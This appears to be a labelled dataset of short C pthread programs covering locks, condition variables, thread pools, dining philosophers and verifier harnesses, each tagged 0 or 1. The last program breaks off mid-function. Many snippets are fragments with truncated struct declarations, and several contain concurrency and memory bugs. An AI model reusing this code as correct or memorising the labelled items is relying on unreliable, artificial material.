main(int argc, const char *argv[]) { int i = 0; int mData = 6; int nPthreads = 6; pthread_t producerID[10], consumerID; printf("hello, condition variable test\\n"); pthread_mutex_init(&mutex,0); pthread_cond_init(&cond,0); printf("func:%s line:%d create pthread consumer ***** ******\\n", __func__, 148); pthread_create(&consumerID,0,consumerFun, &mData); pthread_create(&(producerID[0]),0,producerFun1, &mData); pthread_create(&(producerID[1]),0,producerFun2, &mData); pthread_create(&(producerID[2]),0,producerFun3, &mData); pthread_create(&(producerID[3]),0,producerFun4, &mData); pthread_join(consumerID,0); printf("join consumerFun\\n"); for(i=0;i<nPthreads;i++) { if(producerID[i] != 0) pthread_join(producerID[i],0); printf("join producerID[%d]=%ld\\n", i, (producerID[i])); } printf("YYYYYYYYYYYYYYY\\n"); pthread_join(consumerID,0); printf("join consumerFun\\n"); exit(0); return 0; }
0
#include <pthread.h> int block; int busy; int inode; pthread_mutex_t m_inode; pthread_mutex_t m_busy; void *allocator(){ pthread_mutex_lock(&m_inode); if(inode == 0){ pthread_mutex_lock(&m_busy); busy = 1; pthread_mutex_unlock(&m_busy); inode = 1; } block = 1; if (!(block == 1)) ERROR: __VERIFIER_error();; pthread_mutex_unlock(&m_inode); return 0; } void *de_allocator(){ pthread_mutex_lock(&m_busy); if(busy == 0){ block = 0; if (!(block == 0)) ERROR: __VERIFIER_error();; } pthread_mutex_unlock(&m_busy); return ((void *)0); } int main() { pthread_t t1, t2; __VERIFIER_assume(inode == busy); pthread_mutex_init(&m_inode, 0); pthread_mutex_init(&m_busy, 0); pthread_create(&t1, 0, allocator, 0); pthread_create(&t2, 0, de_allocator, 0); pthread_join(t1, 0); pthread_join(t2, 0); pthread_mutex_destroy(&m_inode); pthread_mutex_destroy(&m_busy); return 0; }
1
#include <pthread.h> struct _node *next; unsigned int size; bool inuse; } Node; unsigned int amtfree; Node *head = 0; Node *tail = 0; pthread_mutex_t lock; void setbit(int* number, int pos){ *number |= 1 << pos; } void clearbit(int* number, int pos){ *number &= ~(1 << pos); } int checkbit(int number, int pos){ return number & (1 << pos); } int Mem_Init(int size){ if(size <= 0 || head){ return -1; } else { if(size % 4096 != 0){ size += 4096 - (size % 4096); } } pthread_mutex_init(&lock, 0); int fd = open("/dev/zero", O_RDWR); head = mmap(0, size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0); if (head == MAP_FAILED) { perror("mmap"); exit(1); } head->next = 0; head->size = size - sizeof(Node); head->inuse = 0; amtfree = size; close(fd); return 0; } int Mem_Available(){ return amtfree; } void* Mem_Alloc(int sizereq){ pthread_mutex_lock(&lock); unsigned int newsize = sizereq + sizeof(Node); unsigned int sizefix = 8-(newsize%8); if(sizefix != 8){ newsize += sizefix; } if(Mem_Available() < newsize){ pthread_mutex_unlock(&lock); return 0; } sizefix = 8-(sizereq % 8); if(sizefix != 8){ sizereq += sizefix; } Node *iterator = head; while(iterator){ if(iterator->inuse == 0 && iterator->size >= newsize ){ break; } iterator = iterator->next; } if(!iterator){ pthread_mutex_unlock(&lock); return 0; } unsigned int backup_size = iterator->size; iterator->size = sizereq; iterator->inuse = 1; if(iterator->next == 0){ iterator->next = (void*) ((char*) iterator) + newsize; iterator->next->size = backup_size - newsize; iterator->next->inuse = 0; iterator->next->next = 0; } else{ } amtfree -= newsize; pthread_mutex_unlock(&lock); return (void *)(iterator + sizeof(Node)); } int Mem_Free(void* ptr){ pthread_mutex_lock(&lock); if(!ptr){ pthread_mutex_unlock(&lock); return -1; } Node* header = (Node *) ptr; header -= sizeof(Node); if(header->inuse == 1){ amtfree += header->size + sizeof(Node); if(header->next == 0){ } } else { pthread_mutex_unlock(&lock); return -1; } header->inuse = 0; Node* current = head; while(current){ if( current->inuse == 1 || current->next == 0 || current->next->inuse == 1){ current = current->next; continue; } else { unsigned int backup_size = current->next->size; current->next = current->next->next; current->size += backup_size + sizeof(Node); } } pthread_mutex_unlock(&lock); return 0; } void Mem_Dump(){ pthread_mutex_lock(&lock); Node * header = head; printf("\\n\\nDUMPING MEMORY\\n\\n"); while(header != 0){ int data = 0; memcpy(&data, header+sizeof(Node), sizeof(int)); printf("size: %d, inuse: %d, data(dec): %d, ptr: %p\\n", header->size, header->inuse, data, header ); header = header->next; } printf("\\n\\n"); pthread_mutex_unlock(&lock); }
0
#include <pthread.h> int key; struct __node_t *next; } node_t; node_t *head; pthread_mutex_t lock; } list_t; void List_Init(list_t *L) { L->head = 0; pthread_mutex_init(&(L->lock), 0); } int List_Insert(list_t *L, int key) { node_t *new = malloc(sizeof(node_t)); if (new == 0) { perror("malloc"); return -1; } new->key = key; pthread_mutex_lock(&L->lock); new->next = L->head; L->head = new; pthread_mutex_unlock(&L->lock); return 0; } int List_Lookup(list_t *L, int key) { int rv = -1; pthread_mutex_lock(&L->lock); node_t *curr = L->head; while (curr) { if (curr->key == key) { rv = 0; break; } curr = curr->next; } pthread_mutex_unlock(&L->lock); return rv; } list_t lists[(101)]; } hash_t; void Hash_Init(hash_t *H) { int i; for (i = 0; i < (101); i++) { List_Init(&H->lists[i]); } } int Hash_Insert(hash_t *H, int key) { int bucket = key % (101); return List_Insert(&H->lists[bucket], key); } int Hash_Lookup(hash_t *H, int key) { int bucket = key % (101); return List_Lookup(&H->lists[bucket], key); }
1
#include <pthread.h> char g_s[10] = "hello"; pthread_mutex_t mtx ; extern pid_t gettid() { return syscall(SYS_gettid); } void *ThreadFun(void *arg) { int i, n; n = *(int *)arg; pthread_detach(pthread_self()); printf("thread(%d) %d try to lock...\\n", gettid(), n); pthread_mutex_lock(&mtx); printf("thread(%d) %d lock success...\\n", gettid(), n); sleep(5); pthread_mutex_unlock(&mtx); printf("thread(%d) %d unlocked ...\\n", gettid(), n); return 0; } int main() { int i = 0; int arg = 10; pthread_t tid; pthread_mutexattr_t mattr; pthread_mutexattr_init(&mattr); pthread_mutexattr_settype(&mattr, PTHREAD_MUTEX_TIMED_NP); pthread_mutex_init(&mtx, &mattr); if(0 != pthread_create(&tid, 0, ThreadFun, &arg)) { printf("pthread_create failed, i=%d, error=%s\\n", i, strerror(errno)); } sleep(1); pthread_mutex_unlock(&mtx); printf("main unlocked...\\n"); printf("main try to lock...\\n"); pthread_mutex_lock(&mtx); printf("main lock success...\\n"); getchar(); pthread_mutex_destroy(&mtx); return 0; }
0
#include <pthread.h> int masa[4]; int counter=0; int ivan_pos=0; int mother_pos=0; pthread_mutex_t lock; void* bake(void* arg) { while(counter<1000){ pthread_mutex_lock(&lock); if(masa[mother_pos]==0){ masa[mother_pos] = 1; counter+=rand()%101; printf("Baked on : %d\\n", mother_pos); mother_pos++; } if(mother_pos==4){ mother_pos=0; } pthread_mutex_unlock(&lock); } return 0; } void* eat(void* arg){ while(counter<1000){ pthread_mutex_lock(&lock); if(masa[ivan_pos]==1){ masa[ivan_pos] = 0; printf("Eaten on : %d\\n", ivan_pos); ivan_pos++; } if(ivan_pos==4){ ivan_pos=0; } pthread_mutex_unlock(&lock); } if(masa[ivan_pos] == 1){ while(ivan_pos<4){ masa[ivan_pos] = 0; printf("Eaten on : %d\\n", ivan_pos); ivan_pos++; } } return 0; } int main(){ pthread_mutex_init(&lock, 0); pthread_t ivan; pthread_t mama; pthread_create(&ivan,0,eat,0); pthread_create(&mama,0,bake,0); pthread_join(ivan, 0); pthread_join(mama, 0); return 0; }
1
#include <pthread.h> extern void __VERIFIER_error() ; int __VERIFIER_nondet_int(void); void ldv_assert(int expression) { if (!expression) { ERROR: __VERIFIER_error();}; return; } pthread_t t1; pthread_mutex_t mutex; int pdev; void *thread1(void *arg) { pthread_mutex_lock(&mutex); pdev = 6; pthread_mutex_unlock(&mutex); } int module_init() { pthread_mutex_init(&mutex, 0); pdev = 1; ldv_assert(pdev==1); if(__VERIFIER_nondet_int()) { pthread_create(&t1, 0, thread1, 0); pdev = 2; ldv_assert(pdev==2); return 0; } pdev = 3; ldv_assert(pdev==3); pthread_mutex_destroy(&mutex); return -1; } void module_exit() { void *status; pthread_join(t1, &status); pthread_mutex_destroy(&mutex); pdev = 5; ldv_assert(pdev==5); } int main(void) { if(module_init()!=0) goto module_exit; module_exit(); module_exit: return 0; }
0
#include <pthread.h> struct foo { int f_count; pthread_mutex_t f_lock; int f_id; }; static struct foo *g_fp = 0; struct foo *foo_alloc(int id) { struct foo *fp; if((fp = malloc(sizeof(struct foo))) != 0){ fp->f_count = 1; fp->f_id = id; if(pthread_mutex_init(&fp->f_lock, 0) != 0) { free(fp); return(0); } } return(fp); } void foo_hold(struct foo *fp) { pthread_mutex_lock(&fp->f_lock); fp->f_count++; printf("fp fcount:%d\\n", fp->f_count); pthread_mutex_unlock(&fp->f_lock); } void foo_rele(struct foo *fp) { pthread_mutex_lock(&fp->f_lock); if(--fp->f_count == 0) { pthread_mutex_unlock(&fp->f_lock); pthread_mutex_destroy(&fp->f_lock); free(fp); } else { pthread_mutex_unlock(&fp->f_lock); } } void *thr_func1(void *argv) { int i; printf("start thread 1!\\n"); for(i = 0; i < 100; i++){ foo_hold(g_fp); } printf("end of thread 1!\\n"); } void *thr_func2(void *argv) { int i; printf("start thread 2!\\n"); for(i = 0; i < 100; i++){ foo_hold(g_fp); } printf("end of thread 2!\\n"); } int main(void) { pthread_t tid1,tid2; g_fp = foo_alloc(1); pthread_create(&tid1,0,thr_func1, 0); pthread_create(&tid2, 0, thr_func2, 0); pause(); foo_rele(g_fp); pause(); return 0; }
1
#include <pthread.h> pthread_mutex_t mutex; pthread_cond_t cond; int buffer[10]; int duration = 20; int length = 0; void *producer(void *arg) { char *str; str=(char*)arg; for(int i = 0; i < duration; i++) { pthread_mutex_lock(&mutex); while(length == 10) { printf("Producer %s buffer full\\n", str); pthread_cond_wait(&cond, &mutex); } buffer[length] = i; length++; printf("Producer %s length %d\\n",str, length); pthread_cond_signal(&cond); pthread_mutex_unlock(&mutex); } return 0; } void *consumer(void *arg) { char *str; str=(char*)arg; for(int i = 0; i < duration; i++) { pthread_mutex_lock(&mutex); while(length == 0) { printf("Consumer %s buffer empty\\n", str); pthread_cond_wait(&cond, &mutex); } length--; int temp = buffer[length]; printf("Consumer %s value %d\\n",str, temp); if(length+1 == 10) { printf("Consumer %s buffer no longer full\\n", str); pthread_cond_signal(&cond); } pthread_mutex_unlock(&mutex); usleep(3); } return 0; } int main(int argc, char *argv[]) { pthread_t producer_thread; pthread_t producer_thread2; pthread_t consumer_thread; pthread_t consumer_thread2; pthread_mutex_init(&mutex, 0); pthread_create(&producer_thread, 0, producer, (void *) "1"); pthread_create(&producer_thread2, 0, producer, (void *) "2"); pthread_create(&consumer_thread, 0, consumer, (void *) "1"); pthread_create(&consumer_thread2, 0, consumer, (void *) "2"); pthread_join(producer_thread, 0); pthread_join(producer_thread2, 0); pthread_join(consumer_thread, 0); pthread_join(consumer_thread2, 0); pthread_mutex_destroy(&mutex); return 0; }
0
#include <pthread.h> struct simplethreadpool* threadpool_init(int poolsize, int queue_max_num) { int i; struct simplethreadpool* threadpool = (struct simplethreadpool*)malloc(sizeof(struct simplethreadpool)); if(threadpool == 0) { printf("thread pool malloc error\\n"); return 0; } threadpool->poolsize = poolsize; threadpool->queue_max_num = queue_max_num; threadpool->cur_job_nums = 0; threadpool->head = 0; threadpool->tail = 0; threadpool->queue_close = 0; threadpool->pool_close = 0; threadpool->pthread_nums = malloc(sizeof(pthread_t) * poolsize); if(threadpool->pthread_nums == 0) { printf("thread pool pthread_nums malloc error\\n"); return 0; } pthread_mutex_init(&(threadpool->mutex),0); pthread_cond_init(&(threadpool->queue_empty),0); pthread_cond_init(&(threadpool->queue_not_empty),0); pthread_cond_init(&(threadpool->queue_not_full),0); for(i = 0; i < poolsize; i++) { pthread_create(&(threadpool->pthread_nums[i]),0,threadpool_function, (void *)threadpool); } return threadpool; } int threadpool_add_job(struct simplethreadpool* pool, void *(*callback_function)(void*), void *arg) { struct job* job = 0; struct simplethreadpool* threadpool = (struct simplethreadpool*)pool; pthread_mutex_lock(&(threadpool->mutex)); while((threadpool->cur_job_nums == threadpool->queue_max_num) && !(threadpool->queue_close || threadpool->pool_close)) { printf("add job waiting\\n"); pthread_cond_wait(&(threadpool->queue_not_full),&(threadpool->mutex)); } if(threadpool->queue_close || threadpool->pool_close) { pthread_mutex_unlock(&(threadpool->mutex)); return -1; } printf("add job done\\n"); job = malloc(sizeof(struct job)); job->callback_function = callback_function; job->arg = arg; job->next = 0; if(threadpool->head == 0) { threadpool->head = threadpool->tail = job; pthread_cond_broadcast(&(threadpool->queue_not_empty)); } else { threadpool->tail->next = job; threadpool->tail = job; } threadpool->cur_job_nums++; pthread_mutex_unlock(&(threadpool->mutex)); } void* threadpool_function(void* pool) { struct job* pjob = 0; struct simplethreadpool* threadpool = (struct simplethreadpool*)pool; while(1) { pthread_mutex_lock(&(threadpool->mutex)); while(threadpool->cur_job_nums == 0 && threadpool->pool_close != 1) { printf("job waiting\\n"); pthread_cond_wait(&(threadpool->queue_not_empty),&(threadpool->mutex)); } if(threadpool->pool_close == 1) { pthread_mutex_unlock(&(threadpool->mutex)); pthread_exit(0); } if(threadpool->head != 0) { threadpool->head->callback_function(threadpool->head->arg); pjob = threadpool->head; threadpool->head = threadpool->head->next; pjob->next = 0; free(pjob); threadpool->cur_job_nums--; } if (threadpool->cur_job_nums == 0) { pthread_cond_signal(&(threadpool->queue_empty)); } if (threadpool->cur_job_nums == threadpool->queue_max_num - 1) { pthread_cond_broadcast(&(threadpool->queue_not_full)); } pthread_mutex_unlock(&(threadpool->mutex)); } } int threadpool_destroy(struct simplethreadpool* threadpool) { int i; struct job* job = 0; pthread_mutex_lock(&(threadpool->mutex)); if(threadpool->queue_close || threadpool->pool_close) { pthread_mutex_unlock(&(threadpool->mutex)); return -1; } threadpool->queue_close = 1; while(threadpool->cur_job_nums != 0) { printf("threadpool_destroy waiting\\n"); pthread_cond_wait(&(threadpool->queue_empty),&(threadpool->mutex)); } threadpool->pool_close = 1; printf("threadpool_destroy done\\n"); pthread_mutex_unlock(&(threadpool->mutex)); pthread_cond_broadcast(&(threadpool->queue_not_empty)); pthread_cond_broadcast(&(threadpool->queue_not_full)); printf("pthread_join before\\n"); for(i = 0; i < threadpool->poolsize; i++) { pthread_join(threadpool->pthread_nums[i], 0); } printf("pthread_join after\\n"); pthread_cond_destroy(&(threadpool->queue_empty)); pthread_cond_destroy(&(threadpool->queue_not_empty)); pthread_cond_destroy(&(threadpool->queue_not_full)); pthread_mutex_destroy(&(threadpool->mutex)); free(threadpool->pthread_nums); while(threadpool->head != 0) { job = threadpool->head; threadpool->head = job->next; free(job); } free(threadpool); return 0; }
1
#include <pthread.h> void* mutex_keeper(void* w_args) { struct sema_mutex_args_struct* args = (struct sema_mutex_args_struct*)w_args; pthread_mutex_t* pmutex = args->mutex; int* status = args->status; pthread_barrier_t* barr = args->barr; while(*status != -1) { pthread_barrier_wait(barr); if(*status == -1) break; pthread_mutex_lock(pmutex); pthread_barrier_wait(barr); clock_gettime(CLOCK_REALTIME, start); pthread_mutex_unlock(pmutex); } return 0; } void* semaphore_keeper(void* w_args) { struct sema_mutex_args_struct* args = (struct sema_mutex_args_struct*)w_args; sem_t* id = args->id; int* status = args->status; pthread_barrier_t* barr = args->barr; while(*status != -1) { pthread_barrier_wait(barr); if(*status == -1) break; if(sem_wait(id) != 0) perror("sem_wait child"); pthread_barrier_wait(barr); clock_gettime(CLOCK_REALTIME, start); if(sem_post(id) != 0) printf("sem_post child"); } return 0; } void semaphore_mutex_not_empty(int w_iterations, int w_drop_cache) { printf("\\nMEASURING SEMAPHORE AND MUTEX ACQUISITION TIME AFTER RELEASE\\n"); start = mmap(0, sizeof(struct timespec), PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0); finish = mmap(0, sizeof(struct timespec), PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0); sem_t* id; int* status = mmap(0, sizeof(int), PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0); *status = 1; sem_unlink("releasesem"); if((id = sem_open("releasesem", O_CREAT | O_EXCL, 0600, 0)) == SEM_FAILED) { perror("sem_open"); } if(sem_post(id)) printf("asdloldaa"); struct sema_mutex_args_struct args; args.id = id; args.status = status; args.barr = malloc(sizeof(pthread_barrier_t)); pthread_barrier_init(args.barr, 0, 2); pthread_t thread_creation; pthread_create(&thread_creation, 0, semaphore_keeper, (void*)&args); double totSemaphoreCached = 0.0; for(int i = 0; i < w_iterations; i++) { pthread_barrier_wait(args.barr); pthread_barrier_wait(args.barr); if(sem_wait(id)) printf("WAIT FAILED ON PARENT"); clock_gettime(CLOCK_REALTIME, finish); if(i >= (w_iterations/5)) { totSemaphoreCached += (finish->tv_nsec - start->tv_nsec); } if(sem_post(id)) printf("POST FAILED ON PARENT"); } *status = -1; pthread_barrier_wait(args.barr); pthread_join(thread_creation, 0); printf("\\nCached\\t\\tmean semaphore acquisition time after release with %d samples: %f ns\\n", w_iterations - (w_iterations / 5), totSemaphoreCached / (w_iterations - (w_iterations / 5))); if(w_drop_cache) { pthread_create(&thread_creation, 0, semaphore_keeper, (void*)&args); int noncache_iterations = w_iterations / 10; double totSemaphoreUncached = 0.0; *status = 1; for(int i = 0; i < noncache_iterations; i++) { pthread_barrier_wait(args.barr); drop_cache(); pthread_barrier_wait(args.barr); if(sem_wait(id)) printf("WAIT FAILED ON PARENT"); clock_gettime(CLOCK_REALTIME, finish); totSemaphoreUncached += (finish->tv_nsec - start->tv_nsec); if(sem_post(id)) printf("POST FAILED ON PARENT"); } *status = -1; pthread_barrier_wait(args.barr); pthread_join(thread_creation, 0); printf("Non-cached\\tmean semaphore acquisition time after release with %d samples: %f ns\\n", noncache_iterations, totSemaphoreUncached / noncache_iterations); } sem_close(id); args.mutex = malloc(sizeof(pthread_mutex_t)); pthread_mutex_init(args.mutex, 0); *status = 1; pthread_create(&thread_creation, 0, mutex_keeper, (void*)&args); double totMutexCached = 0.0; for(int i = 0; i < w_iterations; i++) { pthread_barrier_wait(args.barr); pthread_barrier_wait(args.barr); pthread_mutex_lock(args.mutex); clock_gettime(CLOCK_REALTIME, finish); if(i >= (w_iterations/5)) { totMutexCached += (finish->tv_nsec - start->tv_nsec); } pthread_mutex_unlock(args.mutex); } *status = -1; pthread_barrier_wait(args.barr); pthread_join(thread_creation, 0); printf("\\nCached\\t\\tmean mutex acquisition time after release with %d samples: %f ns\\n", w_iterations - (w_iterations / 5), totMutexCached / (w_iterations - (w_iterations / 5))); if(w_drop_cache) { *status = 1; pthread_create(&thread_creation, 0, mutex_keeper, (void*)&args); int noncache_iterations = w_iterations / 10; double totMutexUncached = 0.0; for(int i = 0; i < noncache_iterations; i++) { pthread_barrier_wait(args.barr); drop_cache(); pthread_barrier_wait(args.barr); pthread_mutex_lock(args.mutex); clock_gettime(CLOCK_REALTIME, finish); totMutexUncached += (finish->tv_nsec - start->tv_nsec); pthread_mutex_unlock(args.mutex); } *status = -1; pthread_barrier_wait(args.barr); pthread_join(thread_creation, 0); printf("Non-cached\\tmean mutex acquisition time after release with %d samples: %f ns\\n", noncache_iterations, totMutexUncached / noncache_iterations); } munmap(status, sizeof(int)); munmap(start, sizeof(struct timespec)); munmap(finish, sizeof(struct timespec)); }
0
#include <pthread.h> void* multiplica_matriz(void *p){ int linhas, colunas; int i,j,aux,somaprod; i = (int)(size_t)p; printf("inicio da thread %d\\n", i); linhas = matrizA->qtd_linhas; colunas = matrizA->qtd_colunas; pthread_mutex_lock(&mutex); for(j=0;j<colunas;++j){ somaprod=0; for(aux=0;aux<linhas;aux++) somaprod+=matrizA->dados[i][aux]*matrizB->dados[aux][j]; matriz_resultante->dados[i][j]=somaprod; printf("Soma realizada pela thread %d, valor total = %d\\n",i,somaprod); } printf("thread %d finalizada\\n",i); pthread_mutex_unlock(&mutex); pthread_exit(0); } int main(int argc, char const *argv[]){ int tamanho = atoi(argv[1]); pthread_t tid[tamanho]; pthread_mutex_init(&mutex, 0); matrizA = (alocar_matriz(tamanho,tamanho)); matrizB = (alocar_matriz(tamanho,tamanho)); matriz_resultante = alocar_matriz(tamanho,tamanho); imprime_matriz(matrizA); printf("-----------\\n"); imprime_matriz(matrizB); printf("-----------\\n"); int i; for(i=0;i<tamanho;i++) pthread_create(&tid[i], 0, multiplica_matriz, (void *)(size_t) i); for(i=0;i<tamanho;i++) pthread_join(tid[i], 0); imprime_matriz(matriz_resultante); }
1
#include <pthread.h> pthread_cond_t Cond_Var; pthread_cond_t Cond_Var2; pthread_mutex_t Lock; pthread_t Thread_Id; } Shared_Task; int timec; int TaskN; } arguments_T; Shared_Task Shared_T; arguments_T arguments_Task; struct TSK Tasks; struct timespec ts; struct timespec nextperiod; pthread_cond_t cv[30]; int firstexec = -1; void Un_Thread(int *i); void Fonc1(int i); void TaskExec(void *arg); int main (int argc, char *argv[]){ int i; int rate; int period; int totalrate = 0; int nbr; int firstdeadline = 32767; int TaskNbr; if (argc != 2){ printf("Usage : %s nombre-de-taches\\n", argv[0]); exit(1); } TaskNbr = atoi(argv[1]); arguments_Task.TaskN = TaskNbr; printf("Quels sont le taux d'utilisation et la periode pour chaque tache ?\\n"); for (i = 0; i < TaskNbr; i++){ nbr = scanf("%d %d", &period, &rate); if (nbr != 2){ printf("L'usage est periode-tache taux-activite-tache\\n"); } Tasks.periods[i] = period; Tasks.deadlines[i]= period; Tasks.rate[i] = rate; } for (i = 0; i < TaskNbr; i++){ totalrate += Tasks.rate[i]; } if (totalrate > 100){ printf("Le taux d'utilisation ne peut etre superieur a 100 pourcents\\n"); } pthread_t Threads[TaskNbr]; pthread_cond_init(&Shared_T.Cond_Var, 0); pthread_cond_init(&Shared_T.Cond_Var2, 0); pthread_mutex_init(&Shared_T.Lock, 0); for (i = 0; i < TaskNbr; i++){ if (Tasks.deadlines[i] < firstdeadline && !Tasks.complete[i]){ arguments_Task.timec = Tasks.periods[i]*Tasks.rate[i]*0.01; } for (i = 0; i < TaskNbr; i++){ pthread_create(&Threads[i], 0, (void *)TaskExec, &arguments_Task); printf("vient d'etre cree : (0x)%x\\n", (int) Threads[i]); } sleep(1); pthread_cond_broadcast (&Shared_T.Cond_Var2); sleep(10); } return 0; } void Un_Thread(int *i){ int j = *i; pthread_t mon_tid; mon_tid = pthread_self(); printf("Thread (0x)%x : DEBUT\\n", (int) mon_tid); Fonc1(j); printf("Thread (0x)%x : FIN\\n", (int) mon_tid); } void Fonc1(int i){ pthread_cond_wait(&Shared_T.Cond_Var2, &Shared_T.Lock); pthread_mutex_lock(&Shared_T.Lock); while(firstexec != i){ pthread_cond_wait(&Shared_T.Cond_Var, &Shared_T.Lock); } pthread_mutex_unlock(&Shared_T.Lock); return; } struct timeval s = {0,0}; float gettime(){ struct timeval tv; int usec; gettimeofday(&tv, 0); usec=(tv.tv_sec - s.tv_sec) * 1000000 + (tv.tv_usec - s.tv_usec); return usec; } void TaskExec(void *arg){ float q = 1000; int i = 0; int firstdeadline = 32767; int firstexec = 0; float timeis = 0; arguments_T *args = (arguments_T *) arg; int w = args->timec; int TaskNbrExec = args->TaskN; pthread_mutex_lock(&Shared_T.Lock); printf("La valeur de w = %d\\n", w); printf("La valeur de q = %d\\n", q); for (i= 0; i < TaskNbrExec; i++){ if (Tasks.deadlines[i] < firstdeadline && !Tasks.complete[i]){ firstdeadline = Tasks.deadlines[i]; firstexec = i; } } printf("La tache prioritaire est %d\\n", firstexec); printf("La valeur de q = %d\\n", q); while (q < w*1000000){ printf("on est dans la boucle %d\\n", firstexec); timeis = gettime(); printf("timeis vaut %d\\n", timeis); while (gettime() <= timeis + q){ usleep(q/10); printf("J'ai attendu %d ms\\n", q/10); pthread_cond_broadcast(&Shared_T.Cond_Var); } Tasks.complete[firstexec] = 1; if (TaskNbrExec > 1){ pthread_cond_wait(&Shared_T.Cond_Var,&Shared_T.Lock); printf("le wait ok\\n "); for (i= 0; i < TaskNbrExec; i++){ if (Tasks.deadlines[i] < firstdeadline && !Tasks.complete[i]){ firstdeadline = Tasks.deadlines[i]; firstexec = i; printf("La tache prioritaire1 est %d\\n", firstexec); } } } if (q <= w*1000000 && Tasks.deadlines[firstexec] > firstdeadline){ pthread_cond_broadcast(&Shared_T.Cond_Var); } pthread_mutex_unlock(&Shared_T.Lock); w = w - (gettime () - timeis); if (Tasks.deadlines[firstexec] > firstdeadline) break; if (w*1000000 < q) { pthread_mutex_lock (&Shared_T.Lock); Tasks.deadlines[firstexec] += Tasks.periods[firstexec]; Tasks.complete[firstexec] = 1; pthread_cond_broadcast (&Shared_T.Cond_Var); printf("Je relache la Variable Conditionnelle\\n"); pthread_mutex_unlock (&Shared_T.Lock); } } }
0
#include <pthread.h> static int glob = 0; static pthread_mutex_t mtx1 = PTHREAD_MUTEX_INITIALIZER; static pthread_mutex_t mtx2 = PTHREAD_MUTEX_INITIALIZER; static void * threadFunc1(void *arg) { int s; pthread_mutex_lock(&mtx1); s=pthread_mutex_trylock(&mtx2); if(s==0){ glob += 1; printf("in t1 glob = %d\\n", glob); pthread_mutex_unlock(&mtx2); pthread_mutex_unlock(&mtx1); } else{ } return 0; } static void * threadFunc2(void *arg) { pthread_mutex_lock(&mtx2); pthread_mutex_lock(&mtx1); glob += 1; printf("in t2 glob = %d\\n", glob); pthread_mutex_unlock(&mtx1); pthread_mutex_unlock(&mtx2); return 0; } int main(int argc, char *argv[]) { pthread_t t1, t2; int loops,s; s = pthread_create(&t1, 0, threadFunc1, 0); s = pthread_create(&t2, 0, threadFunc2, 0); s = pthread_join(t1, 0); s = pthread_join(t2, 0); printf("glob = %d\\n", glob); return 0; }
1
#include <pthread.h> { THINKING, EATING, HUNGRY, } pStatus; struct philospher { pStatus status; semaphore sem; }; union semun { int val; struct semid_ds* buf; unsigned short* array; }; static struct philospher person[5]; static pthread_mutex_t mutex=PTHREAD_MUTEX_INITIALIZER; static semaphore sem_create(); static int sem_p(semaphore sem_id); static int sem_v(semaphore sem_id); static int sem_rm(semaphore sem_id); static void take_fork(int i); static void put_fork(int i); static void test(int i); static void eating(void) { usleep(100); } static void* thr_func1(void* arg) { while(1) { take_fork(0); eating(); put_fork(0); usleep(10); } } static void* thr_func2(void* arg) { while(1) { take_fork(1); eating(); put_fork(1); usleep(10); } } static void* thr_func3(void* arg) { while(1) { take_fork(2); eating(); put_fork(2); usleep(10); } } static void* thr_func4(void* arg) { while(1) { take_fork(3); eating(); put_fork(3); usleep(10); } } static void* thr_func5(void* arg) { while(1) { take_fork(4); eating(); put_fork(4); usleep(10); } } int main(void) { int i=0; pthread_t tid1,tid2,tid3,tid4,tid5; sigset_t sig,osig; for(i=0; i<5; i++) { person[i].status=THINKING; person[i].sem=sem_create(); } alarm(5); sigfillset(&sig); sigdelset(&sig,SIGALRM); sigprocmask(SIG_BLOCK,&sig,&osig); pthread_create(&tid1,0,thr_func1,0); pthread_create(&tid2,0,thr_func2,0); pthread_create(&tid3,0,thr_func3,0); pthread_create(&tid4,0,thr_func4,0); pthread_create(&tid5,0,thr_func5,0); sigsuspend(&sig); sigprocmask(SIG_SETMASK,&osig,0); exit(0); } void take_fork(int i) { if(person[i].status==EATING) return; pthread_mutex_lock(&mutex); person[i].status=HUNGRY; printf("phiospher %d hungry\\n",i); test(i); pthread_mutex_unlock(&mutex); sem_p(person[i].sem); } void put_fork(int i) { pthread_mutex_lock(&mutex); person[i].status=THINKING; printf("philospher %d is thinking now\\n",i); test(((i+5 -1)%5)); test(((i+1)%5)); pthread_mutex_unlock(&mutex); } void test(int i) { if((person[i].status==HUNGRY)&&(person[((i+5 -1)%5)].status!=EATING)&&(person[((i+1)%5)].status!=EATING)) { person[i].status=EATING; sem_v(person[i].sem); printf("philospher %d is eating\\n",i); } else { printf("philospher %d cannot eating and wait\\n",i); } return; } int sem_create() { int nsem=1; int sem_id; union semun arg; if((sem_id=semget(IPC_PRIVATE,nsem,IPC_CREAT|S_IRUSR|S_IWUSR|S_IRGRP|S_IWGRP))<0) { printf("semget error,reason %s\\n",strerror(errno)); return -1; } arg.val=0; if(semctl(sem_id,0,SETVAL,arg)<0) { printf("semctl set val failed, reason %s\\n",strerror(errno)); return -1; } return sem_id; } int sem_p(int sem_id) { struct sembuf buf; buf.sem_num=0; buf.sem_op=-1; buf.sem_flg&=~IPC_NOWAIT; buf.sem_flg|=SEM_UNDO; return semop(sem_id,&buf,1); } int sem_v(int sem_id) { struct sembuf buf; buf.sem_num=0; buf.sem_op=1; buf.sem_flg&=~IPC_NOWAIT; buf.sem_flg|=SEM_UNDO; return semop(sem_id,&buf,1); } int sem_rm(int sem_id) { return semctl(sem_id,0,IPC_RMID); }
0
#include <pthread.h> int controladora = 0; pthread_mutex_t x_mutex; pthread_cond_t x_cond; void *A (void *t) { printf("1: Comecei\\n"); printf("Tudo bem?\\n"); pthread_mutex_lock(&x_mutex); controladora++; printf("1: controladora = %d, vai sinalizar a condicao \\n", controladora); pthread_cond_broadcast(&x_cond); pthread_mutex_unlock(&x_mutex); pthread_exit(0); } void *B (void *t) { printf("2: Comecei\\n"); printf("Hola!\\n"); pthread_mutex_lock(&x_mutex); controladora++; printf("2: controladora = %d, vai sinalizar a condicao \\n", controladora); pthread_cond_broadcast(&x_cond); pthread_mutex_unlock(&x_mutex); pthread_exit(0); } void *C (void *t) { printf("3: Comecei\\n"); pthread_mutex_lock(&x_mutex); if (controladora < 2) { printf("3: vai se bloquear...\\n"); pthread_cond_wait(&x_cond, &x_mutex); printf("3: sinal recebido e mutex realocado, controladora = %d\\n", controladora); } pthread_mutex_unlock(&x_mutex); printf("Até mais tarde\\n"); pthread_exit(0); } void *D (void *t) { printf("4: Comecei\\n"); pthread_mutex_lock(&x_mutex); if (controladora < 2) { printf("4: vai se bloquear...\\n"); 